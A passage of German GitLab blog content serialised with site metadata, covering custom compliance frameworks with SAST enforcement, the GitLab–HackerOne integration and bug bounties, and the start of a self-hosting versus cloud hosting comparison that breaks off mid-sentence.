Behebt automatisch Sicherheitslücken, die im Standard-Branch nicht mehr erkannt werden.\n\nWir wollen nun die Ausführung eines SAST-Scanners erzwingen, um automatisch alle Anforderungen zu erfüllen, die einen SAST-Scan erfordern. So erstellst du eine Sicherheitsrichtlinie und wendest sie auf ein Projekt mit einem bestimmten Framework an:\n\n1. Navigiere zu einem Projekt mit einem benutzerdefinierten Compliance Framework, das einen **SAST-Scan** erfordert. \n2. Wähle in der Seitenleiste **Sichern > Richtlinien** aus. \n3. Klicke auf die Schaltfläche **Neue Richtlinie**. \n4. Klicke unter **Scan-Ausführungsrichtlinien** auf die Schaltfläche **Richtlinie auswählen**. \n5. Gib den **Namen** und die **Beschreibung** ein. \n6. Wähle unter **Aktionen** **SAST** als auszuführenden Scan aus.\n\n![Aktionsbildschirm](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097114264.png)\n\n7. Wähle unter **Bedingungen** die Pipeline aus, die ausgelöst werden soll, wenn eine Pipeline für alle Branches ausgeführt wird.\n\n![Bildschirm „Bedingungen“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097114265.png)\n\n8. Klicke auf die Schaltfläche **Mit einem Merge Request konfigurieren**. \n9. In einem separaten Projekt wird nun ein MR erstellt, der alle Sicherheitsrichtlinien enthält, die für dieses Projekt gelten.\n10. Klicke auf die Schaltfläche **Zusammenführen**.\n\nJetzt wird SAST für jeden Branch ausgeführt, um sicherzustellen, dass du im jeweiligen Bereich die Compliance-Anforderungen erfüllst. Überprüfe unbedingt die verschiedenen Sicherheitsrichtlinien, um im Detail zu erfahren, wie sie zu deinen Anforderungen passen.\n\n## 5 Best Practices, die du beachten solltest \n\nSo maximierst du den Wert benutzerdefinierter Compliance Frameworks:\n\n1. **Fang klein an:** Beginne mit einer kritischen Vorschrift oder einem Standard, bevor du sukzessive erweiterst. \n2. **Beteilige die wichtigsten Stakeholder:** Beziehe die Compliance-, Sicherheits- und Entwicklungsteams in die Erstellung des Frameworks ein. \n3. **Automatisiere, wo möglich:** Verwende GitLab CI/CD, um Compliance-Überprüfungen zu automatisieren. \n4. **Sorge für eine gründliche Dokumentation:** Pflege eine klare Dokumentation darüber, wie dein Framework den gesetzlichen Anforderungen entspricht. \n5. **Regelmäßige Überprüfungen:** Aktualisiere deine Frameworks, wenn sich die Vorschriften ändern oder neue Anforderungen entstehen.\n\n## Leg noch heute los\n\nDie benutzerdefinierten Compliance Frameworks von GitLab sind ein bedeutender Fortschritt im DevSecOps-Bereich, da mit ihnen die Compliance direkt in den Entwicklungsworkflow integriert wird. Durch die Implementierung benutzerdefinierter Frameworks können Unternehmen ihren Compliance-Aufwand reduzieren, ihr Risikomanagement verbessern und die Entwicklungszyklen beschleunigen, während sie gleichzeitig beständig die gesetzlichen Anforderungen erfüllen.\n\nDurch die Möglichkeit, benutzerdefinierte Compliance Frameworks zu definieren und durchzusetzen, erhalten die Teams die Flexibilität, die sie benötigen, um die Anforderungen ihrer konkreten regulatorischen Landschaft zu erfüllen. Gleichzeitig erhalten sie so die notwendige Struktur, um einheitliche Compliance-Praktiken im gesamten Unternehmen sicherzustellen.\n\nDa die regulatorischen Anforderungen immer komplexer werden, werden Tools wie die benutzerdefinierten Compliance Frameworks von GitLab für Unternehmen, mit denen die umfassenden Compliance-Anforderungen und eine zielführende Entwicklungsgeschwindigkeit auf nachhaltige Weise in Einklang gebracht werden sollen, immer wichtiger.\n\n> Melde dich für deine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/) an, um die benutzerdefinierten Compliance Frameworks noch heute auszuprobieren.\n\n## Mehr erfahren \n\nIn diesen Ressourcen erfährst du mehr über benutzerdefinierte Compliance Frameworks und ihre Vorteile für dein Unternehmen:\n\n* [Dokumentation zu benutzerdefinierten Compliance Frameworks (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/compliance/compliance_center/compliance_status_report/) \n* [Epic zu benutzerdefinierten Compliance Frameworks](https://gitlab.com/groups/gitlab-org/-/epics/13295) \n* [Dokumentation der Sicherheitsrichtlinien (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/application_security/policies/) \n* [Sicherheits- und Compliance-Lösungen von GitLab](https://about.gitlab.com/de-de/solutions/security-compliance/)",[14,743,806,678,677],{"slug":828,"featured":93,"template":683},"how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops","content:de-de:blog:how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","How To Use Gitlabs Custom Compliance Frameworks In Your Devsecops","de-de/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops.yml","de-de/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"_path":834,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":835,"content":841,"config":848,"_id":850,"_type":16,"title":851,"_source":18,"_file":852,"_stem":853,"_extension":21},"/de-de/blog/enhance-application-security-with-gitlab-hackerone",{"title":836,"description":837,"ogTitle":836,"ogDescription":837,"noIndex":6,"ogImage":838,"ogUrl":839,"ogSiteName":794,"ogType":795,"canonicalUrls":839,"schema":840},"Bessere Anwendungssicherheit mit GitLab und HackerOne","Erfahre mehr über die Zusammenarbeit zwischen GitLab und HackerOne und lerne, wie du eine Integration implementierst, die die Sicherheit der Anwendungen in deinem Unternehmen verbessert.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097503/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2810%29_5ET24Q6i8ihqrAOkge7a1R_1750097503214.png","https://about.gitlab.com/blog/enhance-application-security-with-gitlab-hackerone","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"Bessere Anwendungssicherheit mit GitLab und HackerOne\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n \"datePublished\": \"2025-04-03\",\n }",{"title":836,"description":837,"authors":842,"heroImage":838,"date":843,"body":844,"category":14,"tags":845,"updatedDate":847},[823],"2025-04-03","Sicherheit darf im Entwicklungsprozess nicht länger eine Nebensache sein. Unternehmen benötigen robuste Lösungen, mit denen die Sicherheit in den gesamten Software-Entwicklungsprozess integriert wird. Hier kommt die Zusammenarbeit zwischen HackerOne und GitLab ins Spiel, denn sie bietet eine praktische Kombination für moderne Anwendungsentwicklungsteams.\n\n[GitLab](https://about.gitlab.com/de-de/), die umfassende, KI-basierte DevSecOps-Plattform, und HackerOne, die führende Crowd-Sicherheitsplattform, sind eine Partnerschaft eingegangen, die das Beste aus beiden Welten vereint: den optimierten DevSecOps-Workflow von GitLab und die leistungsstarke Sicherheitslückenverwaltung von HackerOne.\n\nIn diesem Tutorial erfährst du, wie du die Produktivität der Entwickler(innen) und deine Sicherheitslage verbessern kannst, indem du die GitLab-Integration von HackerOne implementierst.\n\n## Eine Integration, die Entwickler(innen) befähigt\n\nDie GitLab-Integration von HackerOne ist bemerkenswert einfach und dennoch leistungsstark. Wenn Sicherheitsexpert(inn)en Sicherheitslücken über die Plattform von HackerOne entdecken, werden diese Erkenntnisse automatisch in GitLab-Tickets umgewandelt. Dadurch entsteht ein nahtloser Workflow, der folgendermaßen abläuft:\n\n* Sicherheitsexpert(inn)en identifizieren Sicherheitslücken über die Plattform von HackerOne.\n* Validierte Sicherheitslücken werden automatisch in GitLab-Tickets umgewandelt.\n* Entwicklungsteams können diese Tickets direkt in ihren bestehenden Workflows bearbeiten.\n* Der Lösungsstatus wird zwischen beiden Plattformen synchronisiert.\n\nDu kannst die Vorteile von GitLab und HackerOne nutzen, indem du die [Integration](https://docs.hackerone.com/en/articles/8571227-gitlab-integration) verwendest und GitLab-Tickets als Referenzen auf HackerOne nachverfolgst. Diese Integration bietet eine bidirektionale und nahtlose Datensynchronisierung zwischen deinem HackerOne-Bericht und dem GitLab-Ticket, wodurch die Abstimmung zwischen Entwicklungs- und Sicherheitsteams verbessert und die Behebung von Sicherheitslücken optimiert wird.\n\nFolge den Anweisungen in der [GitLab-Integrationsdokumentation von HackerOne](https://docs.hackerone.com/en/articles/10394699-gitlab-setup), um die GitLab-Integration so zu konfigurieren, dass sie Informationen zwischen deinem HackerOne-Bericht und deinem GitLab-Ticket synchronisiert. Dies umfasst folgende Schritte:\n\n1. [Einrichtung einer OAuth-2.0-Anwendung](https://docs.gitlab.com/ee/integration/oauth_provider.html) für deine GitLab-Instanz mit den bereitgestellten HackerOne-Einstellungen\n2. Verbindung von HackerOne zum neu erstellten OAuth 2.0 auf GitLab\n3. Berechtigung von HackerOne, auf die GitLab-API zuzugreifen\n4. Festlegung des GitLab-Projekts, das du zu HackerOne-Berichten eskalieren möchtest\n5. Auswahl der HackerOne-Felder, die den entsprechenden GitLab-Feldern zugeordnet werden sollen\n6. Ereigniskonfiguration für GitLab zu HackerOne und umgekehrt\n\nSobald die Integration eingerichtet wurde, kannst du Daten bidirektional und nahtlos zwischen GitLab und HackerOne synchronisieren. Dies vereinfacht den Kontextwechsel und ermöglicht es, Sicherheitslücken einfach in beiden Systemen nachzuverfolgen. Die Integration bietet die folgenden Funktionen:\n\n* **Erstellen eines GitLab-Tickets aus HackerOne:** Du kannst neue GitLab-Tickets für Berichte erstellen, die du auf HackerOne erhältst. \n* **Verknüpfung von HackerOne-Berichten mit bestehenden GitLab-Aufgaben.** \n* **Synchronisierung von Updates von HackerOne zu GitLab:** Die folgenden Updates eines Berichts werden als Kommentar zu GitLab synchronisiert.\n * Berichtskommentare \n * Staatusänderungen \n * Belohnungen \n * Änderungen der zuständigen Person \n * Öffentlichmachung \n * Schließen von GitLab-Tickets \n* **Synchronisierung von Updates von GitLab zu HackerOne:** Die folgenden Updates in GitLab werden in HackerOne als interner Kommentar zum jeweiligen Bericht angezeigt: \n * Kommentare \n * Statusänderungen \n* **Zuordnung von HackerOne-Schweregraden zu GitLab-Labels**: Dadurch kannst du eine benutzerdefinierte Priorität festlegen, wenn du einen Bericht zu GitLab eskalierst. \n* **Zuordnung von Fälligkeitsdaten:** Damit kannst du basierend auf dem Schweregrad eines Berichts automatisch ein benutzerdefiniertes Fälligkeitsdatum festlegen.\n\n![GitLab und HackerOne fügen Kommentare hinzu oder ändern den Status des Berichts in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/sync_aHR0cHM6_1750097509644.png)\n\nDiese Funktionen vereinfachen die Abstimmung zwischen Entwicklungs- und Sicherheitsteams und optimieren die Behebung von Sicherheitslücken. Weitere Informationen zur Funktionsweise der Integration findest du in der [Integrationsdokumentation](https://docs.hackerone.com/en/articles/8571227-gitlab-integration).\n\n## Ein Blick in die Bug-Bounty-Programme von HackerOne\n\nHackerOne bietet Bug-Bounty-Programme oder Cybersicherheitsinitiativen an, bei denen man Belohnungen bekommt, wenn Sicherheitslücken in den Softwaresystemen, Websites oder Anwendungen von Kund(inn)en entdeckt und gemeldet werden. Bug-Bounty-Programme tragen auf folgende Weise zur Sicherheit einer Anwendung bei:\n\n* Sie helfen, Sicherheitsschwachstellen zu identifizieren, bevor diese missbraucht werden können.\n* Sie ermöglichen es, die vielfältige Expertise einer weltweiten Community aus Sicherheitsexpert(inn)en zu nutzen.\n* Sie sind eine kostengünstige Möglichkeit, die Cybersicherheit zu verbessern.\n* Sie ergänzen interne Sicherheitsmaßnahmen und traditionelle Penetrationstests.\n\nGitLab nutzt das Bug-Bounty-Programm von HackerOne und ermöglicht es Sicherheitsexpert(inn)en, Sicherheitslücken in den Anwendungen oder der Infrastruktur von GitLab zu melden. Dieser Crowdsourcing-Ansatz hilft GitLab, potenzielle Sicherheitsprobleme effektiver zu erkennen und zu beheben.\n\n![Bug-Bounty-Seite für GitLab auf HackerOne](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/hackerone_gitlab_bug_bounty_page_aHR0cHM6_1750097509645.png)\n\nIndem Unternehmen die Plattform und die globale Hacker(innen)-Community von HackerOne nutzen, können sie ihre Sicherheitslage deutlich verbessern, Sicherheitslücken schneller erkennen und potenziellen Bedrohungen immer einen Schritt voraus sein.\n\n## Sichere deine Anwendungen und verbessere die Effizienz mit GitLab\n\nGitLab ist eine umfassende DevSecOps-Plattform mit Funktionen für den gesamten Software-Entwicklungsprozess und enthält unter anderem auch Sicherheits- und Compliance-Tools. GitLab unterstützt die folgenden Arten von Sicherheitsscannern:\n- Statische Anwendungssicherheitstests (SAST)\n- Dynamische Anwendungssicherheitstests (DAST)\n- Container-Scanning\n- Abhängigkeitssuche\n- Infrastructure-as-Code-Scanning\n- Abdeckungsgesteuertes Fuzzing\n- Web-API-Fuzzing\n\nMit GitLab kannst du Sicherheitsscans hinzufügen, indem du einfach eine Vorlage auf deine CI/CD-Pipeline-Definitionsdatei anwendest. Ein SAST kann beispielsweise mit einigen wenigen Zeilen Code in der Datei `.gitlab-ci.yml` hinzugefügt werden:\n\n```yaml\nstage:\n - test\n\ninclude:\n - template: Jobs/SAST.gitlab-ci.yml\n```\n\nDadurch wird der SAST in der Testphase ausgeführt und es werden [automatisch die verwendeten Sprachen in deiner Anwendung erkannt](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks). Wenn du dann einen Merge Request erstellst, erkennt der SAST Sicherheitslücken im diff zwischen dem Feature-Branch und dem Zielbranch und stellt relevante Daten für die einzelnen Sicherheitslücken bereit, damit diese behoben werden können.\n\n![NoSQL-Injection-Sicherheitslücke im MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750097509647.png)\n\nDie Ergebnisse des SAST-Scanners können das Zusammenführen von Code blockieren, wenn Sicherheitsrichtlinien eingehalten werden müssen. Native GitLab-Benutzer(innen) können als Genehmiger(innen) festgelegt werden, sodass die erforderlichen Überprüfungen vor dem Zusammenführen von unsicherem Code durchgeführt werden müssen. Dadurch wird sichergestellt, dass alle Sicherheitslücken von den zuständigen Personen überwacht werden.\n\n![Genehmigungsrichtlinie für Merge Requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750097509649.png)\n\nHackerOne hat GitLab auf verschiedene wichtige Arten in seine Betriebs- und Entwicklungsprozesse integriert, was zu Verbesserungen des Entwicklungsprozesses und einer verbesserten Skalierbarkeit und Zusammenarbeit geführt hat. Zu diesen Verbesserungen gehören schnellere Bereitstellungen und teamübergreifende Planung.\n\n## Hauptvorteile der GitLab-Integration von HackerOne\n\nWerden HackerOne und GitLab zusammen genutzt, erwarten dich folgende Hauptvorteile:\n\n* **Verbesserte Transparenz bei der Sicherheit:** Entwicklungsteams erhalten sofortige Einblicke in Sicherheitslücken, ohne ihre primäre Workflow-Umgebung verlassen zu müssen. Durch diese Erkenntnisse in Echtzeit können Teams Sicherheitsprobleme priorisieren und trotzdem die Entwicklung von Funktionen vorantreiben.\n* **Optimierter Prozess zur Fehlerbehebung:** Indem HackerOne-Berichte direkt in GitLab-Tickets umgewandelt werden, wird die Fehlerbehebung Teil des Standardentwicklungszyklus. Dadurch entfällt der Kontextwechsel zwischen Plattformen und Sicherheitsfixes werden zusammen mit anderen Entwicklungsarbeiten nachverfolgt. \n* **Raschere Fehlerbehebung:** Die Integration verkürzt die Zeit zwischen der Entdeckung und der Behebung von Sicherheitslücken erheblich. Da HackerOne-Beiträge sofort in GitLab verfügbar sind, können Entwicklungsteams ohne Verzögerung mit der Behebung der Fehler beginnen und so die allgemeine Sicherheitslage verbessern.\n***Verbesserte Zusammenarbeit:** Sicherheitsexpert(inn)en, Sicherheitsteams und Entwickler(innen) können durch diese Integration effektiver kommunizieren. Kommentare und Aktualisierungen werden zwischen beiden Plattformen synchronisiert, wodurch eine kollaborative Umgebung entsteht, bei der die Verbesserung der Sicherheit im Vordergrund steht.\n* **Praktische Auswirkungen:** Unternehmen, die die Integration von HackerOne und GitLab implementiert haben, berichten von folgenden Vorteilen: \n * Bis zu 70 % kürzere Zeit von der Entdeckung bis zur Behebung von Sicherheitslücken\n * Höhere Zufriedenheit der Entwickler(innen), da sie in ihrem bevorzugten Workflow bleiben können\n * Verbesserte Transparenz hinsichtlich der Sicherheit im gesamten Unternehmen \n * Effektivere Zuweisung von Sicherheitsressourcen\n\n> Sieh dir jetzt die [Seite zur Einrichtung der Integration](https://docs.hackerone.com/en/articles/10394699-gitlab-setup) an, um sofort loszulegen.\n\n## Mehr erfahren\n\nWeitere Informationen zu GitLab und HackerOne sowie darüber, wie du deine Sicherheitslage verbessern kannst, findest du in den folgenden Ressourcen:\n* [Nutzung der GitLab-Integration von HackerOne (nur in englischer Sprache verfügbar)](https://docs.hackerone.com/en/articles/8571227-gitlab-integration) \n* [Bug-Bounty-Programm von GitLab in Zusammenarbeit mit HackerOne (nur in englischer Sprache verfügbar)](https://hackerone.com/gitlab?type=team)\n* [Sicherheits- und Compliance-Lösungen von GitLab](https://about.gitlab.com/de-de/solutions/security-compliance/) \n* [HackerOne erreicht 5 x schnellere Implementierungen dank der integrierten Sicherheit von GitLab](https://about.gitlab.com/de-de/customers/hackerone/) \n* [Dokumentation zur Anwendungssicherheit von GitLab](https://docs.gitlab.com/ee/user/application_security/) \n",[14,743,235,286,806,805,846],"bug bounty","2025-05-12",{"slug":849,"featured":6,"template":683},"enhance-application-security-with-gitlab-hackerone","content:de-de:blog:enhance-application-security-with-gitlab-hackerone.yml","Enhance Application Security With Gitlab Hackerone","de-de/blog/enhance-application-security-with-gitlab-hackerone.yml","de-de/blog/enhance-application-security-with-gitlab-hackerone",{"_path":855,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":856,"content":862,"config":870,"_id":872,"_type":16,"title":873,"_source":18,"_file":874,"_stem":875,"_extension":21},"/de-de/blog/self-hosting-vs-cloud",{"ogTitle":857,"schema":858,"ogImage":859,"ogDescription":860,"ogSiteName":794,"noIndex":6,"ogType":795,"ogUrl":861,"title":857,"canonicalUrls":861,"description":860},"Self Hosting vs. Cloud Hosting: Die Unterschiede erklärt","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"Was du über Self-Hosting & Cloud-Hosting wissen solltest \",\n \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n \"datePublished\": \"2025-02-27\",\n }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664270/Blog/Hero%20Images/AdobeStock_276584891.jpg","Wir zeigen dir die Unterschiede zwischen Self Hosting vs. Cloud Hosting. ✓ Hosting-Kriterien ✓ Vor- & Nachteile ✓ Public Cloud ➤ Jetzt lesen!","https://about.gitlab.com/de-de/blog/self-hosting-vs-cloud/",{"title":857,"description":863,"authors":864,"heroImage":859,"date":866,"body":867,"category":14,"tags":868},"Self-Hosting oder Cloud? Wir zeigen dir, welche Vorteile und Nachteile diese Modell haben - und was für eine Rolle GitLab dabei spielt.",[865],"GitLab Germany Team","2025-02-27","# Was du über Self-Hosting und Cloud-Hosting wissen solltest\n\n„Stets online zu sein ist kein Luxus - es ist in dieser schnelllebigen Zeit eine Notwendigkeit.” Dieses anonyme Zitat bringt die Bedeutung einer sicheren, stabilen und rundum überzeugenden Web-Präsenz auf den Punkt: Mit deiner Website gewinnst und hältst du Kund(inn)en, informierst Interessierte und eröffnest ihnen Kontaktmöglichkeiten, bietest Downloads und Dienstleistungen, oder physische Produkte an.\n\nDamit wird zugleich die hohe Bedeutung des passenden Webhostings klar: Einerseits sollten deine Daten stets für Befugte zugänglich sein, andererseits müssen sie vor unerwünschten Zugriffen und Angriffen geschützt bleiben. Mit der Entscheidung des für dich richtigen Hosting-Pakets stellst du die Weichen auf Erfolg und unterstützt dein Unternehmen langfristig in seiner digitalen Strategie.\n\nDie Bedeutung des Hostings geht sogar noch über das Bereitstellen von Websites hinaus. Auch für DevOps-Teams ist die Entscheidung darüber, wie und wo welche Daten gehostet werden sollen, alles andere als eine Formalität und sollte niemals ausschließlich aufgrund der Kosten getroffen werden.\n\nStehst du gerade vor der Frage, welches Hosting für dich die beste Wahl ist? Dann lies weiter. Denn in diesem Artikel stellen wir dir die drei grundlegenden Hosting-Modelle vor und erklären dir die jeweiligen Vor- und Nachteile. Einiges davon könnte dich überraschen.\n\n## Welcher Zusammenhang besteht zwischen Webhosting und DevOps?\n\nDevOps wird eher selten im Zusammenhang mit Hosting diskutiert. Dabei besteht zwischen den beiden ein sehr enger Bezug, unabhängig davon, ob du dich für ein Self-Hosting-Modell oder Cloud-Hosting entscheidest.\n\nBeim Hosting werden Anwendungen und Inhalte auf einem Server abgelegt und kontrolliert verfügbar gemacht. Ein wichtiger Aspekt von DevOps besteht in der Automatisierung des Deployments von Informationen und Inhalten für deine Website, die auf dem Server gehostet wird.\nIn der Entwicklungspraxis werden die Anwendungen, an denen ein DevOps-Team arbeitet, auf einem gemeinsam genutzten Server gehostet. Nur, wenn das Hosting optimal funktioniert, kann DevOps optimal funktionieren.\n\nIn großen Projekten sind die Verflechtungen oftmals sogar noch enger. So stellen manche Hosting-Dienstleister in ihrem Paket Anwendungen zur Verfügung, mit denen der DevOps-Prozess skaliert und möglichst harmonisch gestaltet werden kann. So greifen die beiden Bereiche ineinander.\nWenn DevOps ein zentrales Element deiner Arbeit darstellt, empfehlen wir dir deshalb, dich intensiv mit dem Thema Hosting auseinanderzusetzen.\n\n## Was muss gutes Webhosting leisten?\n\nDer Begriff Hosting beinhaltet das Speichern und Bereitstellen von Daten über einen Server. Nutzer(innen) greifen auf die Daten zu, die auf dem Server abgelegt sind, können Bestellungen aufgeben oder über ein Kontaktformular Anfragen schicken.\nWas macht gutes Webhosting aus?\n\nAlle Seiten und Anwendungen sollten schnell abrufbar sein, fehlerfrei bleiben und rund um die Uhr zur Verfügung stehen. Die Privatsphäre der Anwender(innen) muss ebenso gewährleistet werden wie die Integrität deiner Unternehmensdaten. Eventuelle Ausfälle werden umgehend beseitigt und das System stets auf dem technisch aktuellen sowie erforderlichen Stand gehalten.\nKurz gesagt: Das zentrale Ziel sollte darin bestehen, dass die User-Experience flüssig, nahtlos und stabil ist. Das richtige Hosting garantiert diese Qualität und passt sie kontinuierlich an aktuelle Gegebenheiten und Forderungen an.\nUm das für dich richtige Hosting zu ermitteln, stellt sich zuerst eine allgemeine Frage:\n\n## Welche Hosting-Optionen stehen mir zur Verfügung?\n\nGrundsätzlich gliedert sich Hosting in drei Varianten auf: Das Self-Hosting, Hosting in der Cloud und die Private Cloud. Wenn du selbst das Hosting übernimmst, bedeutet das, dass du in deinem Unternehmen einen oder mehrere Server einrichtest und deine Websites über diese laufen lässt. Da ein Server zunächst einmal nichts anderes ist als ein regulärer Computer und dir eine Vielzahl bewährter Softwarelösungen für den Betrieb eines Servers zur Verfügung stehen, mutet Self-Hosting (beziehungsweise „On-Premise-Hosting”) nicht übermäßig komplex an. Im nächsten Abschnitt stellen wir diese Vermutung auf den Prüfstand.\n\nDas Gegenmodell zum Self-Hosting-Modell ist das Cloud-Hosting. Die Cloud, in der deine Daten eingebettet werden, ist dabei schlicht eine Server-Architektur, die von externen Anbieter(innen) bereitgestellt wird. Diese speichern die Daten ab, stellen sämtliche erforderliche Software zur Verfügung und sorgen für einen reibungslosen Ablauf. In den frühen Jahren litten Cloud-Lösungen bei vielen Entscheidungsträger(inne)n unter einem Vertrauensdefizit. Doch haben sie in den letzten Jahren zunehmend an Beliebtheit gewonnen und stellen heute den De-Facto-Standard dar. Die Gründe dafür erklären wir dir ein wenig später in diesem Artikel.\n\nDa sowohl Self-Hosting als auch Cloud-Hosting jeweils ganz bestimmte Vorteile haben, welche die andere Lösung nicht anbieten kann, ist in den letzten Jahren verstärkt der Ruf nach einer Art Fusion der beiden Ansätze lauter geworden. Das Private-Cloud-Hosting stellt den Versuch eines Ausgleichs und einer Harmonisierung der jeweiligen Vor- und Nachteile beider Hosting-Modelle dar. Das gelingt in der Regel auch sehr gut, ist aber mit entsprechend hohen Kosten verbunden.\nFalls du GitLab nutzt, besteht sogar noch eine weitere Option:\n\n## Du kannst auch direkt über GitLab hosten!\n\nWenn du bereits für deine [CI/CD-Pipeline](https://about.gitlab.com/topics/ci-cd/cicd-pipeline/) mit GitLab arbeitest, ist das Hosten über GitLab für viele Projekte die optimale Variante. Wie wir oben erwähnt haben, ist eine flüssige, nahtlose und stabile User-Experience das oberste Ziel beim Hosting. Gleiches gilt selbstverständlich auch für die Entwicklungsarbeit. Je weniger Zwischenschritte erforderlich sind, um deine Webseite aus dem Entwicklungsstadium heraus öffentlich zu machen, umso geringer das Fehlerpotential und umso effizienter der Prozess als Ganzes.\n\nAus diesem Grund entscheiden sich viele DevOps-Teams, ihre Websites direkt aus dem Repository heraus zu veröffentlichen. Dabei übernimmt GitLab die gesamte Verwaltung der Daten und viele der beim Hosting anfallenden Aufgaben. Und da wir auf das Thema Sicherheit besonders großen Wert legen, kannst du dich darauf verlassen, dass deine Daten in guten Händen sind.\nAllerdings beschränkt sich die [Hosting-Funktionalität](https://about.gitlab.com/blog/gitlab-pages-setup/) von GitLab auf statische Seiten. Wenn du damit an einem dynamischen Projekt arbeitest, lies weiter, um zu erfahren, worauf du bei der Auswahl Wert legen solltest.\n\n## Welche Kriterien gilt es beim Hosting zu beachten?\n\nHosting ist ein recht einfaches Konzept, doch in seinen Details durchaus komplex. So gibt es eine Vielzahl an Kriterien, die es bei der Auswahl des für dich passenden Modells zu beachten gilt:\n\n- __Kosten:__ Hosting erfordert den Einsatz hochwertiger Hardware und Software sowie geschulten Personals. Je höher und individueller deine Ansprüche, umso höher die Kosten. Je mehr Daten du auf dem Server zu speichern beabsichtigst und je mehr Nutzer(innen) voraussichtlich auf diese Daten zugreifen, umso höher sind die Ansprüche an die Übertragungsleistung - und folglich umso höher auch die Ansprüche an das Hosting.\n\n- __Skalierbarkeit:__ Wenn sich deine Bedürfnisse an die Serverleistung ändern, ist es stets von Vorteil, schnell Anpassungen vornehmen zu können. Je höher die Skalierbarkeit einer Hosting-Lösung, umso besser.\n-\n- __Sicherheit:__ Deine Daten sind dein Kapital. Sie sind aber auch deine Verantwortung und in vielen Fällen an sehr genaue gesetzliche Vorgaben gebunden. Aus diesem Grund genießt die Wahrung der Integrität und Zugriffssicherung persönlicher Informationen, sowie der Informationen all derer, die auf sie zugreifen, höchste Priorität.\nde- __Aktualisierbarkeit:__ Hosting ist eine hochtechnologische Dienstleistung in einem sich rapide wandelnden Umfeld. Nur, wenn du deine Server stets auf dem aktuellen Stand hältst, kannst du die bestmögliche Umsetzung der anderen Kriterien gewährleisten.\n\n- __Flexibilität:__ Es gibt inzwischen eine Vielzahl standardisierter Anwendungen für die unterschiedlichsten Aspekte des Hostings. Das senkt Kosten, kann aber zu Konflikten mit deinen persönlichen Bedürfnissen und Ansprüchen führen. Individuelle Programme und Konfigurationen bieten oftmals mehr Flexibilität.\n\n- __Implementierbarkeit:__ Zwischen Entscheidungsfindung und -Umsetzung können oftmals längere Pausen entstehen. Je schneller dieser Prozess abläuft, desto besser.\nBenutzerfreundlichkeit: Gerade was den täglichen Betrieb angeht, gibt es bei der Wahl des Hosting-Modells erhebliche Unterschiede. Ein Server, dessen Betrieb, Wartung und Aktualisierung intuitiv abläuft, reduziert deinen Aufwand.\n\nJe nachdem, wo deine Ansprüche liegen, wird sich eines der folgenden Modelle für dich als besser geeignet erweisen. Sehen wir uns die jeweiligen Vor- und Nachteile genauer an.\n\n## On-Premise-Hosting/Self-Hosting: Vorteile\n\nViele Jahre lang waren die beiden Begriffe Hosting und Self-Hosting synonym. In den ersten zwei Jahrzehnten des Internets erschien die Vorstellung einer Auslagerung der eigenen Homepage alleine schon aufgrund niedriger Datenübertragungsraten geradezu utopisch. Inzwischen hat sich das Blatt gewendet. Sogar erfahrene Hoster und IT-Experten halten Cloud-Lösungen in den meisten Fällen für die geeignetere Wahl. Dennoch gibt es bis heute unbestreitbare Vorteile des Self-Hostings, die einen genaueren Blick rechtfertigen.\n\nDie große Stärke eines Self-Hosting-Modells besteht ganz offensichtlich darin, dass alle deine Daten bei dir liegen. Du hast also direkten Zugriff und behältst jederzeit die Kontrolle über sie. Darüber hinaus kannst du die Hard- und Software optimal an deine persönlichen Bedürfnisse anpassen.\n\nSelf-Hosting bietet außerdem gewisse Sicherheitsvorteile. Es besteht beispielsweise ein weitaus geringeres Risiko, dass sich Mitarbeiter(innen) einer externen Firma Zugriff auf deine Daten verschaffen. Da du selbst die Sicherheitsmaßnahmen definierst, kannst du die Messlatte sehr hoch ansetzen, um Missbrauch auszuschließen.\nVor allem ist es auf deinen eigenen Servern möglich, für extrem sensible Daten die Einhaltung gesetzlicher Standards zu sichern, die möglicherweise in der Cloud nicht garantiert werden können.\n## On-Premise-Hosting/Self-Hosting: Nachteile\n\nDie Anfänge des Internets waren eine Pionierzeit. Die extrem hohen Anforderungen, die Self-Hosting an das technische Knowhow der Beteiligten stellte, boten gleichzeitig eine großartige Chance, zu lernen und das eigene IT-Verständnis zu verbessern.\nDieser Aspekt hat inzwischen deutlich an Relevanz eingebüßt. Webhosting stellt schlicht eine Infrastruktur zur Verfügung und die meisten Aufgaben werden automatisch von spezialisierten Anwendungen übernommen.\n\nGleichzeitig verlangt der rapide technische Wandel die regelmäßige Durchführung von Updates in sehr kurzen Abständen. Auch müssen Ausfälle unmittelbar und schnell behoben werden. Der Sicherheitsvorsprung des Self-Hosting kann sich nur dann entfalten, wenn du dir ein tiefes Wissen über die besten Lösungen und die geforderten Standards aneignest. All dies überfordert die meisten mittelständischen Unternehmen oder zwingt sie zu hohen 